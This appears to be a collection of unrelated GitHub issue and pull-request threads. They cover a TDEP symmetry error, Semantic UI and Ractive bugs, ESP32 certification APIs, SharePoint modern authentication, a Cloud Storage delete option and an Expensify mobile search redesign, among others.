exit code 4: symmetry error

Hello there,
I am wondering how I could get rid of this symmetry error.
Best regards,
Dr. Ganesh K Nayak

The error message is the following. I get them when I try to extract forces for a test run with a few md calculations for my structures.

... reading unitcell
... min cutoff: 2.68274
... max cutoff: 5.60156
analysis.zip
DETERMINING SYMMETRY OF INTERACTION TENSORS
... constructed distance tables (0.01014s)
... built singlets
... built pairs
... built prototype tuplets (0.00019s)
... expanded symmetry operations (0.10744s)
... reducing pairs 100.0% |========================================| 0.00046s
ERROR
exit code 4: symmetry error
Could not locate tuplet
occurs in file: lo_symmetry_of_interactions_tuplets.f90
occurs on line: 730
active rank: 0 out of 1

The command I executed is: extract_forceconstants -rc2 1
The input files are generated by the generate_structure and tdep_parse_output OUTCAR --temperature 600

Hi @ganesh028 , this is a symmetry error. TDEP does not accept input structures without precise symmetry. There is some documentation here on how to inspect the structure and fix the inputs: https://github.com/tdep-developers/tdep-tutorials/tree/main/00_preparation/refine_symmetry

Hi @flokno, I already used this option, and if you please have look to after the refinement and the file infile.ssposcar, it has perfect cubic symmetry. Am I missing something here?

The infile.ucposcar I checked was space group 1 (P1). I.e. no symmetry

Yes, that is because it is produce from the vasp calculations. However, the symmetry is Fd-3m, 227.  Is it able set this manually somehow or how one needs progress from here?

Please make sure to use 100% symmetric structure input files. We do not support a symmetry tolerance like phonopy as this means we basically would guess a structure for you, which is not desirable in a controlled workflow.

Oh, I see. So there is no other wat to treat the non-symmetry structure.

Symmetry is at the core of the TDEP implementation, see e.g. Fig. 4 in O. Hellman et al., Phys Rev B 87, 104111 (2013).

Thank you, Flokno, for the help!
Can I manually change the symmetry tolerance because the default structure has more than 10^10? I guess this would help me to keep the symmetry intact of my structure.

Hi, I am afraid not. We require the input structures to be symmetric.

@ganesh028 does anything stop you from symmetrizing the input structures as suggested in the tutorials?

Let us know if you want to revisit this issue.

Yes, I would like to revisit this issue:
Even if I have symmetry, I get the same error related to the symmetry.
Here is the input file with which I am trying to process tdep properties.
infile.zip

Yes, I would like to revisit this issue: Even if I have symmetry, I get the same error related to the symmetry.
Here is the input file with which I am trying to process tdep properties. infile.zip

This is just a structure file for a supercell. Symmetry is inferred entirely from the unitcell, i.e., infile.ucposcar.

Here is the infile.ucposcar, which retains the symmetry as well. The supercell was created from the unitcell.
infile.zip

Can you please provide a comprehensive error description and complete input files?

There are two kinds of errors:
The system I sent earlier it has the following error (and I can sent OUTCAR because it's to heavy and it generated from the supercell):

Command: extract_forceconstants -rc2 5 --temperature 1723
Error:
... reading unitcell
... min cutoff: 2.93707
... max cutoff: 6.80208

DETERMINING SYMMETRY OF INTERACTION TENSORS
... constructed distance tables (0.02301s)
... built singlets
... built pairs
... built prototype tuplets (0.00041s)
... expanded symmetry operations (0.03266s)
... reducing pairs                     100.0% |========================================|  0.00048s
... mapping pairs                      100.0% |========================================|  0.04572s
N singlet shells:           3
shell:  1   4
shell:  2   2
shell:  3   6
N pair shells:          19
shell:           1           6   0.0000000000000000
shell:           2           2   0.0000000000000000
shell:           3           4   0.0000000000000000
shell:           4          24   2.5487458980889879
shell:           5          12   2.5834343262263668
shell:           6          12   2.6528464537734835
shell:           7          24   2.9341314339359337
shell:           8          48   3.0414466911662719
shell:           9          24   3.0625449252991630
shell:          10           4   3.0953754989251614
shell:          11          12   3.1777490887272344
shell:          12           4   4.0744280010455300
shell:          13          24   4.3527954586453061
shell:          14          48   4.4747841469546108
shell:          15          24   4.5348849837795822
shell:          16          24   4.6894632982940179
shell:          17          48   4.7434350601431943
shell:          18          24   4.7726287812920400
shell:          19          24   4.8105557759359900
... determined singlet nullspace
... determined pair nullspace
... determined dielectric tensor nullspace
... determined Born charge nullspace
free(): corrupted unsorted chunks
Program received signal SIGABRT: Process abort signal.

In this system (attached)

Command: same as earlier
Error:
... reading unitcell
... min cutoff: 2.75736
... max cutoff: 6.31769

DETERMINING SYMMETRY OF INTERACTION TENSORS
... constructed distance tables (0.02549s)
... built singlets
... built pairs
... built prototype tuplets (0.00059s)
... expanded symmetry operations (0.02867s)
... reducing pairs                     100.0% |========================================|  0.00062s
... mapping pairs                      100.0% |========================================|  0.05897s
N singlet shells:           3
shell:  1   4
shell:  2   2
shell:  3   6
N pair shells:          27
shell:           1           6   0.0000000000000000
shell:           2           2   0.0000000000000000
shell:           3           4   0.0000000000000000
shell:           4          24   2.3892784389429575
shell:           5          12   2.3994639800133979
shell:           6          12   2.4639331628118959
shell:           7          24   2.7546072557681338
shell:           8          48   2.8355462679250714
shell:           9          24   2.8455198433336246
shell:          10           4   2.9167230509867670
shell:          11          12   2.9555542536689186
shell:          12           4   3.8392686361838901
shell:          13          24   4.0943423408877964
shell:          14          48   4.1687165559086568
shell:          15          24   4.2119488239428522
shell:          16          24   4.3926149966612709
shell:          17          48   4.4239062645655363
shell:          18          24   4.4395798114520995
shell:          19          24   4.4747522994771067
shell:          20          24   4.7456365848817672
... and 7 more shells
... determined singlet nullspace
ERROR
exit code 4: symmetry error
Not as invariant as it should be.
 occurs in file: lo_symmetry_of_interactions_nullspace.f90

malloc(): invalid size (unsorted)
Program received signal SIGABRT: Process abort signal.
infile.zip

@ganesh028 it is still a symmetry error. Please apply the symmetry refinement as documented in the tutorials and try again

I used, that's ow I reached the symmetry, if one look at the infile.ucposcar, they are in the perfect symmetry (P63/mmc or 194).

The structure you sent reads:
 cell
        1.000000000000
     4.86339714282529     0.00000014618456     0.00000000000000
    -2.43169869801219     4.21182540128708     0.00000000000000
     0.00000000000000     0.00000000000000     7.67853727236778
  Nb Si Ni
  4 2 6
 Direct coordinates
   0.33333333333333   0.66666666666667   0.43992699700000  site  1 species 1: Nb
   0.66666666666667   0.33333333333333   0.56007300300000  site  2 species 1: Nb
   0.66666666666667   0.33333333333333   0.93992699700000  site  3 species 1: Nb
   0.33333333333333   0.66666666666667   0.06007300300000  site  4 species 1: Nb
   0.00000000000000   0.00000000000000   0.00000000000000  site  5 species 2: Si
   0.00000000000000   0.00000000000000   0.50000000000000  site  6 species 2: Si
   0.16887599966667   0.33775199933333   0.75000000000000  site  7 species 3: Ni
   0.83112400033333   0.66224800066667   0.25000000000000  site  8 species 3: Ni
   0.66224800066667   0.83112400033333   0.75000000000000  site  9 species 3: Ni
   0.33775199933333   0.16887599966667   0.25000000000000  site 10 species 3: Ni
   0.16887599966667   0.83112400033333   0.75000000000000  site 11 species 3: Ni
   0.83112400033333   0.16887599966667   0.25000000000000  site 12 species 3: Ni

after I apply ase_geometry_refine infile.ucposcar -prim I get
Nb Si Ni
 1.0000000000000000
     4.8633971428252938    0.0000000000000000    0.0000000000000000
    -2.4316985714126469    4.2118254743793599    0.0000000000000000
     0.0000000000000000    0.0000000000000000    7.6785372723677803
 Nb  Si  Ni
   4   2   6
Cartesian
 -0.0000000000000004  2.8078836495862398  3.3779958435853277
  2.4316985714126473  1.4039418247931201  4.3005414287824522
  2.4316985714126473  1.4039418247931199  7.2172644797692183
 -0.0000000000000006  2.8078836495862403  0.4612727925985625
  0.0000000000000000  0.0000000000000000  0.0000000000000000
  0.0000000000000000  0.0000000000000000  3.8392686361838901
  0.0000000000000000  1.4225524748146794  5.7589029542758352
  2.4316985714126473  2.7892729995646803  1.9196343180919451
  1.1997319900067120  3.5005492369720206  5.7589029542758352
  1.2319665814059351  0.7112762374073397  1.9196343180919451
 -1.1997319900067118  3.5005492369720206  5.7589029542758352
  3.6314305614193589  0.7112762374073397  1.9196343180919451

and TDEP has no problem to find the symmetry.

Yes, the structure I sen you, the command "ase_geometry_info infile.ucposcar" give me this:
Read 'infile.ucposcar'
... autodetect format 'vasp' for 'infile.ucposcar'
Geometry info
input geometry:    Atoms(symbols='Nb4Si2Ni6', pbc=True, cell=[[4.86339714282529, 1.4618456e-07, 0.0], [-2.43169869801219,
4.21182540128708, 0.0], [0.0, 0.0, 7.67853727236778]])
Symmetry prec.:    1e-10
Number of atoms:   12
Species:           Nb (4), Ni (6), Si (2)
Periodicity:       [ True  True  True]
Positions:            x (Å)            y (Å)           z (Å)
0, 'Nb':       -0.000000         2.807884        3.377996
1, 'Nb':        2.431699         1.403942        4.300541
2, 'Nb':        2.431699         1.403942        7.217264
3, 'Nb':       -0.000000         2.807884        0.461273
4, 'Si':        0.000000         0.000000        0.000000
5, 'Si':        0.000000         0.000000        3.839269
6, 'Ni':       -0.000000         1.422552        5.758903
7, 'Ni':        2.431698         2.789273        1.919634
8, 'Ni':        1.199732         3.500549        5.758903
9, 'Ni':        1.231967         0.711276        1.919634
10, 'Ni':       -1.199732         3.500549        5.758903
11, 'Ni':        3.631431         0.711276        1.919634
Lattice (Å):
[[ 4.86339714e+00  1.46184560e-07  0.00000000e+00]
[-2.43169870e+00  4.21182540e+00  0.00000000e+00]
[ 0.00000000e+00  0.00000000e+00  7.67853727e+00]]
Cubicness:           0.475
Largest Cutoff:      2.106 Å
Bounding box rad.:   3.325 Å
Nearest neighbor:    2.389 Å
Cell lengths and angles:
a, b, c (Å):      4.8634      4.8634      7.6785
α, β, γ (°):     90.0000     90.0000    120.0000
Volume:                157.285 Å3
Volume per atom:        13.107 Å3
Report symmetry information from spglib:
Spacegroup:          P6_3/mmc (194)
Wyckoff positions:   2a, 4f, 6h
Equivalent atoms:    40, 24, 66

The stuture has symmetry:
Report symmetry information from spglib:
Spacegroup: P6_3/mmc (194)
Then I convert it to supercell, run vasp and when I try to get the forces with "extract_forceconstants -rc2 5", it gave me the error

Yes, and it may sound odd to you, but the off-diagonal tiny value in the lattice matrix throws off TDEP.
I gave advice on how to solve the problem and it works on my end, the issue is therefore solved as far as I am concerned.

I am really sorry, maybe I did not grasp it. Would you please explain me?
A few things what I understood:

do I need to replace the "infile.ucposcar" with "infile.ucposcar.primitive" (from the command "ase_geometry_refine infile.ucposcar -prim")
or I have to do new calculations with "infile.ucposcar.primitive"

Thank you for your patience.


Issue reset filters pb

Reset filter button working properly

@PradnyaB17 please indicate which issue this resolves.

@PradnyaB17 Thank you for your interest.  I see which issues you are referencing in this pr

FYI, the convention for indicating which issue you are referencing is here.  https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue
We only accept one pr per issue.  Please do not combine issues into one pr.  It makes them harder to accept.  If you want to resubmit, we will re review.


Odd semantic.js error , module.cache.height > Cannot read property height of undefined.

Hi guys,
This one's a bit of a mind bender for me right now, It must have something to do with how the cache is operating, i'm sure someone here has a better idea as to SemanticJS internals than me so I thought i'd put this up.
I am getting:
"Uncaught TypeError: Cannot read property 'height' of undefined", source: file://***/dist/semantic.js (6243)
Now here's the weird part, the error is occurring when I modify the text of the modal with the below, and it is only occurring on one of my machines (same OS - mac) despite being the same repo.

				primaryModal.find('.header').text(modalTitle);
				primaryModal.find('.content').text(modalBody);
				primaryModal.find('.approve').text(modalConfirmText);
				primaryModal.find('.deny').text(modalCancelText);

				primaryModal.modal({
					onApprove: function(e) {
						if(typeof scope.confirmFn === 'function') {
							var confirmed = scope.confirmFn();
							if(confirmed && typeof confirmed.then === 'function') {
								confirmed.then(function() {
									primaryModal.modal('hide');
								});
							} else {
								primaryModal.modal('hide');
							}
						} else {
							primaryModal.modal('hide');
						}
					},
					onDeny: function(e) {
						if(typeof scope.cancelFn === 'function') {
							var cancelled = scope.cancelFn();
							if(cancelled && typeof cancelled.then === 'function') {
								confirmed.then(function() {
									primaryModal.modal('hide');
								});
							} else {
								primaryModal.modal('hide');
							}
						} else {
							primaryModal.modal('hide');
						}
					}
				});

It occurs both when modifying the text before or after the settings part.
Some potentially confounding variables: I am using nodewebkit & angularjs - however this is the first major issue I have run into so I'm betting it's a problem with semantic and not my environment.
Thanks

I've this issue when I set the onApprove callback with the modal opened.

We also has the same issue on modal popup opening.
Error:
Uncaught TypeError: Cannot read property 'height' of undefined

I've redone modals with flexbox in a branch. It removes the need to check for height in javascript. Thinking about deploying this with 1.8.0, will work under our supported browsers listed in readme.


Fixed idempotence issue with Vitess Build and Ansible

Description
The issue fixed in this pull request is linked to the idempotence step of molecule test. The Molecule Test vitess_build workflow started to fail due to the role vitess_build not being idempotent. More on that here.
The error was the following:
--> Action: 'idempotence'
ERROR:
PLAY [Converge] ****************************************************************
An error occurred during the test sequence action: 'idempotence'. Cleaning up.

Fix
The fix is a new condition on the block of tasks where we fetch Vitess's repository and build its binaries. The condition checks if the repository already exists in the system. Doing so allows us to skip unnecessary steps and thus making the role idempotent.

nice find.


mipmap

Is it possible to have the resources put in the mipmap folders as opposed to the drawable folders?

+1

I came here to ask this, will this ever happen?

It will when I have time.

Thanks for the quick reply!

:+1:

:+1: +1


Native look-and-feel?

Hi,
I like much your library but I was guessing if there are plans to use the native API to have a better look-and-feel on Windows, macOS, etc.

Hi, there is not  a plan to support native look-and-feel. I can't find any system which provides functions to render a controls with its look-and-feel.

@cnjinhao Did you mean wxWidgets? wxWidgets is famous for letting the program use native controls and widgets.

I guess there are ways but it takes a lot of efforts to implement them.
https://msdn.microsoft.com/en-us/library/windows/desktop/dd162480(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/bb773190(v=vs.85).aspx

Have tried implementing an abstract set of graphical components? Sorry, not trying to sound rude, but I've not looked into your code...
Or, you could also ask or assign one of the people who are forking and watching your project?  (Well, I'm not capable so don't ask me lol)

It might be too complicated, because of nana's dynamic message subscription and dispatch mechanism, or somebody have already done this, wxWidgets, as you said.


Fix identification of closing tags.

A line like this:

Was not identified as a closing tag.

We've changed the way HTML blocks are dealt with now, so it works more like the way that CommonMark treats HTML – i.e. we no longer try to determine whether we are within HTML tags, rather we just stop processing markdown that is part of a HTML block (as defined by CommonMark).
Hopefully this should help cause less problems like this, where closing tags could be missed.
Some details in #514


Support phy/cert_test for ESP32 chip (IDFGH-10756)

Is your feature request related to a problem?
We are designing a product centered on the ESP32 chip. For the certification tests, we need access to the certification APIs, and currently they are only supported for ESP32-S3 and ESP32-C3.
Describe the solution you'd like.
We would like the certification APIs to be ported and made available for the ESP32 chip (including the phy/cert_test example included in latest esp-idf).
Describe alternatives you've considered.
We have considered using the certification test Windows application provided in Espressif webpage, but unfortunately it is not possible for us to use it because the system needs to configure additional peripherals for the board to work, and also during operation we have no direct access to the ESP32 UART.
Additional context.
No response

Hi,
We're having this problem too. Built on espidf 5.1.1 and platformio 6.4.0:
example_app.c:447: undefined reference to `esp_phy_test_start_stop'
example_app.c:450: undefined reference to `esp_phy_ble_tx'
example_app.c:460: undefined reference to `esp_phy_ble_rx'

I added these to the include paths already:
${IDF_PATH}/components/esp_phy/esp32/include
${IDF_PATH}/components/esp_phy/include

Are there any workarounds to get this to work on the good old esp32 board?

Hello,
I am also trying to get cert_test to work on esp32, any thoughts?
Thanks

Could you provide more details on the ESP32-C6? I noticed that the RF test tool binary includes an option for testing Thread/Zigbee channels. Are there specific header files available, similar to Bluetooth and Wi-Fi?


Not able to display search result in .net web application (hosted in Azure Environment) from online SharePoint using modern authentication.

Category

[x] Question

Hi All,
We have an asp.net application and it is integrated with Online SharePoint (displaying a search results using legacy authentication). We are planning to block the legacy authentication in our online SharePoint tenant. I tried the SharePoint add-ins but search (KQL) method getting error and I saw one blogs , it is mentioned that Client ID need to create, provide tenant level permission to get search result. Instead of giving tenant level permission, please let me know is there any other method / model is available to get search result in .net application using modern authentication.

I believe you can use delegated permissions to call the SharePoint Search REST API... is that correct @wobba?
@santhmon when you say "modern auth", you're referring to the add-in model that leverages Azure AD applications. More info here: https://docs.microsoft.com/en-us/sharepoint/dev/sp-add-ins/complete-basic-operations-using-sharepoint-rest-endpoints#add-ins-that-use-oauth-must-pass-access-tokens-in-requests

If you use delegated permissions against SharePoint with the Sites.Search.All scope (ADAL) set it should work, or using http://sharepoint/search | QueryAsUserIgnoreAppPrincipal as an add-in scope.

Hi @wobba  and @andrewconnell ,
Thanks for the update , I have registered new application in Azure active directory and provided the delegated permissions against SharePoint with the Sites.Search.All for that App ID (API Permission Grant admin consent for Domain).  Created the client secrets for that app id.
I used the App (Client ) ID and Client secrets in my .net code using OfficeDevPnP.Core.AuthenticationManager  , GetAppOnlyAuthenticatedContext method , getting access denied error in ExecuteQuery.
then , i provided the full control access to that app ID in Specific SharePoint Site collection appinv.aspx page , able to get clientContext but getting access denied error while executing KeywordQuery , searchExecutor.
Please let me know if i missed any steps or do i need to use different approach to get search result in specific Site collection (we need to give permission to specific site collection to get search results and we should not provide access to entire tenant level).
Currently we are displaying a specific site collection search results using service account legacy authentication.  As per the Microsoft recommendation, we are planning to block the legacy authentication in our online SharePoint tenant and we are working for update our authentication code in .net application , facing above issue in following options.
1.Azure App id (Delegate, Application)
2.REST (HttpWebResponse error because of Proxy)
3.SharePoint App id
Need your help please.
Thanks,

@santhmon As you are using app-only. Have you also added the needed certificate? Certificate is needed for CSOM and app-only. Take a look at my updated docs on https://github.com/SharePoint/PnP-PowerShell/tree/master/Samples/SharePoint.ConnectUsingAppPermissions which uses PowerShell, but still the same, and it uses the authmanager to load the cert.


Better error for partials

Partials try and unrender when they don't exist, and can throw unhelpful Uncaught TypeError: Cannot read property 'detach' of null instead of warning that partial does not exist:
var items = [];

var ractive = new Ractive({
    template: '{{#items}}{{>item}}{{/}}',
    el: 'main',
    data: {
        items: items
    }
});

items.unshift(1);

see http://jsfiddle.net/eku2p06y/4/

I reckon it's okay not to print an additional warning beyond the 'could not find template for "items"' one we've already got - better to just let this work as expected and not error. Fixed in #1808


Make private a boolean-only value.

Fix https://github.com/huggingface/huggingface_hub/issues/897.
Mentioned issue has been solved server-side but it's still a good excuse to align the type for private argument. Currently it was either private: Optional[bool] = None or private: bool = None. This PR removes the possibility to have a None value for private. Default value is not False. Behaviour is expected to be exactly the same everywhere.

up to now we kept the pattern to have a None default but only add those properties to the request payloads if they were other than None
but i agree this can change if it's too error-prone.


FR: Add File.delete options property to count missing file as success

Is your feature request related to a problem? Please describe.
I frequently find myself performing delete operations on files that may or may not exist. Similar to how Cloud Firestore's delete operation works, I would like for the Cloud Storage delete operation to consider a non-existent file as a successful deletion. In other words, I want my delete operation to be considered successful if the file does not exist after the operation completes- regardless of if it did exist before the operation.
Describe the solution you'd like
The delete operation (docs here) takes an optional options object, whose only parameter is currently userProject. I would like a new property to be available that I could use to enable this mechanism on a per-operation basis. The syntax might look something like:
await myBucket.file("thisFileMightNotExist.txt").delete({mustExist: false})

Describe alternatives you've considered
The two alternatives are to either 1) run a File.exists operation first, or 2) handle deletion error in catch block. Both alternatives work, they're just not very elegant. Alternative 1 technically also leaves an unlikely but possible scenario where the file is removed after the the exists operation but before the delete operation.
Additional context
None.

Hi @willbattel, thanks for raising the feature request. I understand where you're coming from, wanting a way for File.delete() to resolve when the file doesn't exists (Error 404 in this case), especially in batch operations.
Looking at your proposed solutions, here are some thoughts:

run a File.exists operation first

I'm reluctant to do this as this would incur additional operation cost (object.get is a Class B operation).

handle deletion error in catch block.

This could be doable. In that case, we'd modify the library to .catch() the error and in the case its statusCode is 404, we'd resolve the promise. This should already be possible (as is option 1) as a user workaround without changes to the library.
@stephenplusplus Do you think it is reasonable to add to the library?

In that case, we'd modify the library to .catch() the error and in the case its statusCode is 404, we'd resolve the promise.

A downside to this approach would be that we're being dishonest about what the user asked us. If the file doesn't exist, we didn't delete it (thus, success), we just can't delete it because it doesn't exist. I think the transparency of saying "We would if we could, but we couldn't, so we didn't" is a better approach. Users can always handle the 404 to mean what they want it to in their application code.
To keep in mind, "delete()" is a "ServiceObject" method, meaning it exists on almost every object we have across our APIs. That would mean we would want to back-port an option like this to every other API.

@stephenplusplus Adding a generalized "resolve if end condition met" type flag to ServiceObject could be valuable. I'm sure there are other instances where developers only care about the end state of the object- and not if an action was actually performed to achieve that state. I agree it should not change the default behavior, but being able to enable it in-line without our own catch block would be very nifty.

True! I agree that if we made that an option, it can't hurt. It seems relatively straightforward to implement (although updating all of the inline docs across the repos will be laborious), but I would be okay adding it in. Maybe bucket.delete({ ignore404: true }) or bucket.delete({ ignoreNotFound: true }) or something like that?

Sure. Either ignoreNotFound or ignoreMissing seems reasonable. What implications would this have for other APIs using ServiceObject?

This was released upstream, and here is a PR to officially introduce it here: #1347

Fantastic. Thanks a ton!

@willbattel thank you for the suggestion! 5.6.0 is out with the feature.


Ammo/energy Station sound loops

While using a Ammo/energy station go to the menu and press "restart from last save" after loading the save the Ammo/energy station sound loops constantly

Fixed for next update 42876800b73e8200293e2d2a0abb8ca80c961999


V2 Banner block

Also known in the design as the build banner. The current design can be found just above the footer on the VNR PDP.
Requirements

Full width image
Heading on top
Primary button

Technical solution:

Create a new block (V2 Banner block) with the design in Figma; this can also be used by editors for the use cases where they were previously using heroes in the middle of the page
Allow text to be positioned as follows:

center
left (horizontally) - padding should be in line with what was implemented for the hero
bottom - padding should be in line with what was implemented for the hero
top left - padding should be in line with what was implemented for the hero

Account for dark and light theming (based on the contrast of the image, the authors can choose what theming to use)
Check the hero in terms of background of the text also ( #41 )
If two buttons are used on the Banner, the first one is primary and the second one is secondary (as it is on the Hero)

Open point

UX: Should we have some text background to ensure the text contrast is AA compliant/readable?
UX: Should we allow videos as bg for this component?
UX: Has the heading maps been reviewed with a SEO agency? We saw some things we are not sure they are correct from an SEO perspective, such as an H4 pre-title before an H2

Decision to adjust current block, re-styling it to be full width:

Note increasing priority due to additional risk due to existing content block on production.

confirmed as done as tested per the points above


[Feature] - APIM Portal Notifications

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


Getting familiar with Semantic Segmentation

Hey guys, I will provide the labeled eye region data next week, but let's get familiar with the process of semantic segmentation.
I used the following tutorial myself and employed it in the current workflow: https://www.tensorflow.org/tutorials/images/segmentation, but you may be more partial to using/learning PyTorch and that's fine too.
In my experience, the difficult parts come from creating your own input data pipeline, as typically it isn't quite straight forward as examples in tutorials, but working through them would be a good first step and will hopefully give you an appreciation for some of the components of a segmentation workflow.
Of course, the network architecture is a highly customizable object and will be crucial to reducing the size of the model/number of parameters, but more on that throughout the semester.
Those of who you who are interested in the computer vision/segmentation workflow, feel free to take a stab at the tutorial and report on Feb 20th.

Did you guys find good pytorch resources for learning segmentation? @sankalpshubham @peterthoang

Did you guys find good pytorch resources for learning segmentation? @sankalpshubham @peterthoang

Hey Ash, I've been looking at this tutorial: https://albumentations.ai/docs/examples/pytorch_semantic_segmentation/
It uses the same dataset as the tensorflow tutorial, but implemented with pytorch and albumentations.


addRemotePageAsset - will this add new resource?

hi @Dan0sz
Thank you for this awesome plugin. However, I have a question that will the method addRemotePageAsset add a new resource to the page or update the properties of existing loaded font or style?
Let say, my theme has 8 fonts loading already and I want to preload it. If I add all those URLs through this extension, will it update already loading fonts or it will add extra entries to load fonts?

Hi @VivekShingala,
I suggest you read into how the preload attribute works, because it does not add extra resources. It preloads existing resources.

Hi, @VivekShingala,
I suggest you read into how the preload attribute works. This attribute does not add extra resources, but preloads existing resources.


Option to force application chooser when share

Additional field "chooser" in StartActivity and StartActivityForResult forces application selection dialog. It may be useful for ACTION_SEND intent. The string value of the field is used as a chooser dialog title.
Ex: window.plugins.intentShim.startActivity(
{
action: window.plugins.intentShim.ACTION_SEND,
type: 'text/*',
extras: {
"android.intent.extra.TEXT": artworkUrl,
},
chooser: "Select application to share",
}
);

Thanks for the contribution, this has now been merged to the main line

& uploaded to npm as 1.1.6

Sorry I didn't reflect this in readme.md


fix: Design updates to Search rows on mobile

Details

Fixed Issues

$ https://github.com/Expensify/App/issues/44563
PROPOSAL: https://github.com/Expensify/App/issues/44563#issuecomment-2195878728
Tests

Small screen device:

Open app
Go to /search/all?sortBy=date&sortOrder=desc
Verify these below behavior:

There is no tag from the bottom line under the merchant, and only show a Category if one is available
There is no Fold icon in front of Category
If no category exists, the Merchant line is vertically centered in the available space
If no Merchant exists, the description is displayed.

Large screen device:

Open app
Go to /search/all?sortBy=date&sortOrder=desc
Verify it works as it is

[x] Verify that no errors appear in the JS console

Offline tests

QA Steps

[x] Verify that no errors appear in the JS console

PR Author Checklist

[x] I linked the correct issue in the ### Fixed Issues section above
[x] I wrote clear testing steps that cover the changes made in this PR

[x] I added steps for local testing in the Tests section
[x] I added steps for the expected offline behavior in the Offline steps section
[x] I added steps for Staging and/or Production testing in the QA steps section
[x] I added steps to cover failure scenarios (i.e. verify an input displays the correct error message if the entered data is not correct)
[x] I turned off my network connection and tested it while offline to ensure it matches the expected behavior (i.e. verify the default avatar icon is displayed if app is offline)
[x] I tested this PR with a High Traffic account against the staging or production API to ensure there are no regressions (e.g. long loading states that impact usability).

[x] I included screenshots or videos for tests on all platforms
[x] I ran the tests on all platforms & verified they passed on:

[x] Android: Native
[x] Android: mWeb Chrome
[x] iOS: Native
[x] iOS: mWeb Safari
[x] MacOS: Chrome / Safari
[x] MacOS: Desktop

[x] I verified there are no console errors (if there's a console error not related to the PR, report it or open an issue for it to be fixed)
[x] I followed proper code patterns (see Reviewing the code)

[x] I verified that any callback methods that were added or modified are named for what the method does and never what callback they handle (i.e. toggleReport and not onIconClick)
[x] I verified that the left part of a conditional rendering a React component is a boolean and NOT a string, e.g. myBool && <MyComponent />.
[x] I verified that comments were added to code that is not self explanatory
[x] I verified that any new or modified comments were clear, correct English, and explained "why" the code was doing something instead of only explaining "what" the code was doing.
[x] I verified any copy / text shown in the product is localized by adding it to src/languages/* files and using the translation method

[x] If any non-english text was added/modified, I verified the translation was requested/reviewed in #expensify-open-source and it was approved by an internal Expensify engineer. Link to Slack message:

[x] I verified all numbers, amounts, dates and phone numbers shown in the product are using the localization methods
[x] I verified any copy / text that was added to the app is grammatically correct in English. It adheres to proper capitalization guidelines (note: only the first word of header/labels should be capitalized), and is either coming verbatim from figma or has been approved by marketing (in order to get marketing approval, ask the Bug Zero team member to add the Waiting for copy label to the issue)
[x] I verified proper file naming conventions were followed for any new files or renamed files. All non-platform specific files are named after what they export and are not named "index.js". All platform-specific files are named for the platform the code supports as outlined in the README.
[x] I verified the JSDocs style guidelines (in STYLE.md) were followed

[x] If a new code pattern is added I verified it was agreed to be used by multiple Expensify engineers
[x] I followed the guidelines as stated in the Review Guidelines
[x] I tested other components that can be impacted by my changes (i.e. if the PR modifies a shared library or component like Avatar, I verified the components using Avatar are working as expected)
[x] I verified all code is DRY (the PR doesn't include any logic written more than once, with the exception of tests)
[x] I verified any variables that can be defined as constants (ie. in CONST.js or at the top of the file that uses the constant) are defined as such
[x] I verified that if a function's arguments changed that all usages have also been updated correctly
[x] If any new file was added I verified that:

[x] The file has a description of what it does and/or why is needed at the top of the file if the code is not self explanatory

[x] If a new CSS style is added I verified that:

[x] A similar style doesn't already exist
[x] The style can't be created with an existing StyleUtils function (i.e. StyleUtils.getBackgroundAndBorderStyle(theme.componentBG))

[x] If the PR modifies code that runs when editing or sending messages, I tested and verified there is no unexpected behavior for all supported markdown - URLs, single line code, code blocks, quotes, headings, bold, strikethrough, and italic.
[x] If the PR modifies a generic component, I tested and verified that those changes do not break usages of that component in the rest of the App (i.e. if a shared library or component like Avatar is modified, I verified that Avatar is working as expected in all cases)
[x] If the PR modifies a component related to any of the existing Storybook stories, I tested and verified all stories for that component are still working as expected.
[x] If the PR modifies a component or page that can be accessed by a direct deeplink, I verified that the code functions as expected when the deeplink is used - from a logged in and logged out account.
[x] If the PR modifies the UI (e.g. new buttons, new UI components, changing the padding/spacing/sizing, moving components, etc) or modifies the form input styles:

[x] I verified that all the inputs inside a form are aligned with each other.
[x] I added Design label and/or tagged @Expensify/design so the design team can review the changes.

[x] If a new page is added, I verified it's using the ScrollView component to make it scrollable when more elements are added to the page.
[x] If the main branch was merged into this PR after a review, I tested again and verified the outcome was still expected according to the Test steps.

Screenshots/Videos

Android: Native

https://github.com/Expensify/App/assets/165644294/e87fcea9-fab1-4363-ad7c-74443cdbb3e9

Android: mWeb Chrome

https://github.com/Expensify/App/assets/165644294/2e70a913-733c-481d-9a21-b324235eb896

iOS: Native

iOS: mWeb Safari

https://github.com/Expensify/App/assets/165644294/b5690097-33d6-4d27-b48a-366c64900dda

MacOS: Chrome / Safari

https://github.com/Expensify/App/assets/165644294/2adb586c-3b5c-47c4-b2a5-eec63df9e100

MacOS: Desktop

https://github.com/Expensify/App/assets/165644294/87077a0b-f6fa-4a99-9647-7984e0d5b04d

The category should still be styled in the same gray text that it was before, looks like it's dark from the screenshots:

I think we need to make sure we are truncating Merchants/Descriptions after 1 line, looks like the descriptions can get quite long here:

Looking really great!
One small thing: I still see multiple lines for a super long description where I am purposely using line breaks to test...

Can you make sure that truncates after 1 line as well?

Oh and another thing we chatted about - the idea that the "View" buttons on mobile felt quite superfluous and we could just omit them entirely. It would look something more like this:

Thoughts @Expensify/design @luacmartins? Feels like we could make that change in this same PR while we are here.

Oh and another thing we chatted about - the idea that the "View" buttons on mobile felt quite superfluous and we could just omit them entirely.

I could honestly go either way on this one. I don't hate the view buttons on mobile, but I also totally understand why we'd get rid of them. Curious for others' thoughts because I really don't have any strong feelings about this one.

I'm down to removing the button on mobile since they dont really do much and less components on screen means higher performance.

Works for me - let's see if @dubielzyk-expensify has any strong feelings too, though I do tend to agree that it will make the page feel a bit lighter.

I like it 👍

Okay, let's remove the View button from mobile expenses then. @dominictb can you handle that one too please? Thanks!

Lovely! Will also spin up a test build here, but we should be ready for final review. Thanks!

Looks great, let's get it into final review!

:hand: This PR was not deployed to staging yet because QA is ongoing. It will be automatically deployed to staging after the next production release.

🚀 Deployed to staging by https://github.com/luacmartins in version: 9.0.6-0 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
failure ❌

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅

🚀 Deployed to staging by https://github.com/luacmartins in version: 9.0.6-0 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
